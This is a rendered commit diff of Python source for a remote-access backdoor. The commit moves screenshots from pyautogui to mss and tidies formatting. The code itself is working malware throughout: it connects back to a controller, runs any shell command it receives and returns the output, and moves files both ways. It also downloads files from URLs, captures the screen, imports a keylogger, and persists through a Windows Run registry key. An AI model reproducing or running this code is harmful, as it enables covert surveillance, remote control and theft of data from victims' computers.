3
3
import subprocess
4
4
import time
5
5
import os
6
- import pyautogui #dependency # pip install pyautogui #mss is faster alternative
7
- import keylogger
8
6
import threading
9
7
import shutil
10
8
import sys
11
- import requests
12
9
from sys import platform
13
10
11
+ # External dependencies
12
+ from mss import mss
13
+ import requests
14
+
15
+ # Local dependencies
16
+ import keylogger
17
+ # from mss import mss # mss v6.1.0
18
+ # import requests # v2.28.0
19
+
20
+
21
+
14
22
def reliable_send (data ):
15
23
jsondata = json .dumps (data )
16
24
s .send (jsondata .encode ())
17
25
26
+
18
27
def reliable_recv ():
19
28
data = ''
20
29
while True :
@@ -24,6 +33,7 @@ def reliable_recv():
24
33
except ValueError :
25
34
continue
26
35
36
+
27
37
def download_file (file_name ):
28
38
f = open (file_name , 'wb' )
29
39
s .settimeout (2 )
@@ -37,32 +47,46 @@ def download_file(file_name):
37
47
s .settimeout (None )
38
48
f .close ()
39
49
50
+
40
51
def upload_file (file_name ):
41
52
f = open (file_name , 'rb' )
42
53
s .send (f .read ())
43
54
55
+
44
56
def download_url (url ):
45
57
get_response = requests .get (url )
46
58
file_name = url .split ('/' )[- 1 ]
47
59
with open (file_name , 'wb' ) as out_file :
48
60
out_file .write (get_response .content )
49
61
62
+
50
63
def screenshot ():
51
- myScreenshot = pyautogui .screenshot ()
52
- myScreenshot .save ('.screen.png' )
64
+ if platform == "win32" or platform == "darwin" :
65
+ with mss () as screen :
66
+ filename = screen .shot ()
67
+ os .rename (filename , '.screen.png' )
68
+ elif platform == "linux" or platform == "linux2" :
69
+ with mss (display = ":0.0" ) as screen :
70
+ filename = screen .shot ()
71
+ os .rename (filename , '.screen.png' )
72
+
73
+ # TODO: screenshot other monitors
53
74
54
75
def persist (reg_name , copy_name ):
55
76
file_location = os .environ ['appdata' ] + '\\ ' + copy_name
56
77
try :
57
78
if not os .path .exists (file_location ):
58
79
shutil .copyfile (sys .executable , file_location )
59
- subprocess .call ('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"' , shell = True )
80
+ subprocess .call (
81
+ 'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v ' + reg_name + ' /t REG_SZ /d "' + file_location + '"' ,
82
+ shell = True )
60
83
reliable_send ('[+] Created Persistence With Reg Key: ' + reg_name )
61
84
else :
62
85
reliable_send ('[+] Persistence Already Exists' )
63
86
except :
64
87
reliable_send ('[-] Error Creating Persistence With The Target Machine' )
65
88
89
+
66
90
def is_admin ():
67
91
global admin
68
92
if platform == 'win32' :
@@ -72,28 +96,29 @@ def is_admin():
72
96
admin = '[!!] User Privileges!'
73
97
else :
74
98
admin = '[+] Administrator Privileges!'
75
- elif platform == "linux" or platform == "linux2" or platform == "darwin" :
99
+ elif platform == "linux" or platform == "linux2" or platform == "darwin" :
76
100
pass
77
- #TO BE DONE
101
+ # TO BE DONE
102
+
78
103
79
104
def shell ():
80
105
while True :
81
106
command = reliable_recv ()
82
107
if command == 'quit' :
83
108
break
84
- elif command == 'background' : # BEGIN
109
+ elif command == 'background' : # BEGIN
85
110
pass
86
- elif command == 'help' : # ideally to be removed
111
+ elif command == 'help' : # ideally to be removed
87
112
pass
88
113
elif command == 'clear' :
89
- pass # END
114
+ pass # END
90
115
elif command [:3 ] == 'cd ' :
91
116
os .chdir (command [3 :])
92
117
elif command [:6 ] == 'upload' :
93
118
download_file (command [7 :])
94
119
elif command [:8 ] == 'download' :
95
120
upload_file (command [9 :])
96
- elif command [:3 ] == 'get' :
121
+ elif command [:3 ] == 'get' :
97
122
try :
98
123
download_url (command [4 :])
99
124
reliable_send ('[+] Downloaded File From Specified URL!' )
@@ -119,7 +144,8 @@ def shell():
119
144
reg_name , copy_name = command [12 :].split (' ' )
120
145
persist (reg_name , copy_name )
121
146
elif command [:7 ] == 'sendall' :
122
- subprocess .Popen (command [8 :], shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE , stdin = subprocess .PIPE )
147
+ subprocess .Popen (command [8 :], shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE ,
148
+ stdin = subprocess .PIPE )
123
149
elif command [:5 ] == 'check' :
124
150
try :
125
151
is_admin ()
@@ -133,11 +159,13 @@ def shell():
133
159
except :
134
160
reliable_send ('[-] Failed to start!' )
135
161
else :
136
- execute = subprocess .Popen (command , shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE ,stdin = subprocess .PIPE )
162
+ execute = subprocess .Popen (command , shell = True , stdout = subprocess .PIPE , stderr = subprocess .PIPE ,
163
+ stdin = subprocess .PIPE )
137
164
result = execute .stdout .read () + execute .stderr .read ()
138
165
result = result .decode ()
139
166
reliable_send (result )
140
167
168
+
141
169
def connection ():
142
170
while True :
143
171
time .sleep (5 )
@@ -150,6 +178,7 @@ def connection():
150
178
break
151
179
except :
152
180
connection ()
153
-
181
+
182
+
154
183
s = socket .socket (socket .AF_INET , socket .SOCK_STREAM )
155
- connection ()
184
+ connection ()
0 commit comments